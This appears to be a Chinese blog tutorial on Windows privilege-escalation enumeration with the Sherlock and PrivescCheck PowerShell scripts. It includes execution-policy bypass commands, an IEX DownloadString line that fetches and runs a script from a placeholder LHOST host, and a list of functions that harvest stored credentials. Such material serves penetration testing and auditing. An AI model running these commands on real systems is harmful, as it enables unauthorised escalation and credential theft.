一、Sherlock
GitHub:https://github.com/rasta-mouse/Sherlock
直接运行powershell时提示“无法加载文件ps1,因为在此系统中禁止执行脚本。
主要是由于没有权限执行脚本。
get-help about_signing 提示了解执行策略
get-executionpolicy 查看到当前策略
set-executionpolicy remotesigned 策略为设置为可执行脚本
查看当前策略
显示 Restricted ,即不允许执行任何脚本。
修改策略为可执行脚本文件
请以管理员身份运行 powershell, 再输入命令即可。
执行脚本文件
#搜索所有未安装的补丁
Import-Module .\Sherlock.ps1;Find-AllVulns
#也可以搜索单个漏洞
Import-Module .\Sherlock.ps1;Find-MS14058
二、PrivescCheck
PrivescCheck是一款针对Windows系统的提权枚举脚本,该脚本能够枚举出目标Windows系统中常见的Windows错误安全配置,而这些错误的安全配置将允许攻击者在目标系统中实现信息收集以及权限提升,这些对于攻击者的漏洞利用以及后渗透攻击来说将非常有用。
GitHub:https://github.com/itm4n/PrivescCheck
必须兼容PowerShell v2;
工具使用
导入模块
Import-Module .\PrivescCheck.ps1
我们可以直接在一个PowerShell命令行控制台中运行该脚本:
PS C:\Temp\> Set-ExecutionPolicy Bypass -Scope Process -Force
PS C:\Temp\> . .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck
该工具在显示输出数据的同时,会将它们写入到一个日志文件中:
PS C:\Temp\> . .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck | Tee-Object "C:\Temp\result.txt"
除此之外,我们也可以打开CMD命令行工具来使用该脚本:
C:\Temp\>powershell -ep bypass -c ". .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck"
你也可以从一台远程Web服务器来导入并使用该脚本:
C:\Temp\>powershell "IEX (New-Object Net.WebClient).DownloadString('http://LHOST:LPORT/Invoke-PrivescCheck.ps1'); Invoke-PrivescCheck"
可调用函数介绍
获取当前用户信息
Invoke-UserCheck - 获取当前用户的用户名和SID
Invoke-UserGroupsCheck - 枚举当前用户所属的组(默认组和低特权组除外)
Invoke-UserPrivilegesCheck - 枚举潜在高权限用户的令牌
获取目标设备服务
Invoke-InstalledServicesCheck - 枚举非默认服务
Invoke-ServicesPermissionsCheck - 枚举当前用户可以通过服务控制管理器修改的服务
Invoke-ServicesPermissionsRegistryCheck - 枚举当前用户可在注册表中修改的服务
Invoke-ServicesImagePermissionsCheck - E枚举具有可修改二进制文件(或参数)的所有服务
Invoke-ServicesUnquotedPathCheck - 枚举具有可利用的未引用路径的服务
DLL劫持
Invoke-DllHijackingCheck - 检查是否有任何系统路径文件夹可修改程序/进程获取
Invoke-InstalledProgramsCheck - 枚举默认情况下未安装的应用程序
Invoke-ModifiableProgramsCheck - 枚举拥有DLL文件的可修改EXE的应用程序
Invoke-RunningProcessCheck - 枚举正在运行的进程
获取凭据
Invoke-SamBackupFilesCheck - 检查SAM/SYSTEM备份文件的常用位置
Invoke-UnattendFilesCheck -枚举无人使用的文件并提取凭证
Invoke-WinlogonCheck - 检查存储在Winlogon注册表项中的凭据
Invoke-CredentialFilesCheck - 枚举存储在当前用户AppData文件夹中的凭据文件
Invoke-VaultCredCheck - 枚举保存在凭据管理器中的凭据
Invoke-VaultListCheck - 枚举保存在凭据管理器中的web凭据
Invoke-GPPPasswordCheck - 枚举包含非空“cpassword”字段的组策略首选项(GPP)
获取注册表信息
Invoke-UacCheck - 检查是否启用了UAC(用户访问控制)
Invoke-LapsCheck - 检查是否启用了LAPS(本地管理密码解决方案)
Invoke-PowershellTranscriptionCheck - 检查是否配置/启用了PowerShell转录
Invoke-RegistryAlwaysInstallElevatedCheck - 检查注册表中是否设置了AlwaysInstallElevated项
Invoke-LsaProtectionsCheck - 检查LSASS是否作为受保护进程运行(附加检查)
获取网络信息
Invoke-TcpEndpointsCheck - 枚举本地计算机(IPv4和IPv6)上的异常TCP节点
Invoke-UdpEndpointsCheck - 枚举本地计算机(IPv4和IPv6)上的异常UDP节点
其他杂项
Invoke-WindowsUpdateCheck - 检查目标设备的上次更新时间
Invoke-SystemInfoCheck - 获取目标设备操作系统的名称和完整的版本字符串
Invoke-LocalAdminGroupCheck - 枚举默认本地管理组的成员
Invoke-MachineRoleCheck - 获取目标设备的角色(工作站、服务器、域控制器)
Invoke-SystemStartupHistoryCheck - 获取目标设备系统启动事件的列表
Invoke-SystemStartupCheck - 获取目标系统的上次启动时间
Invoke-SystemDrivesCheck - 获取当前映射的本地驱动器和网络共享的列表
三、Windows补丁在线查询
在线网站:http://bugs.hacking8.com/tiquan/
参考文章:
https://cloud.tencent.com/developer/article/1613651
https://www.secpulse.com/archives/126941.html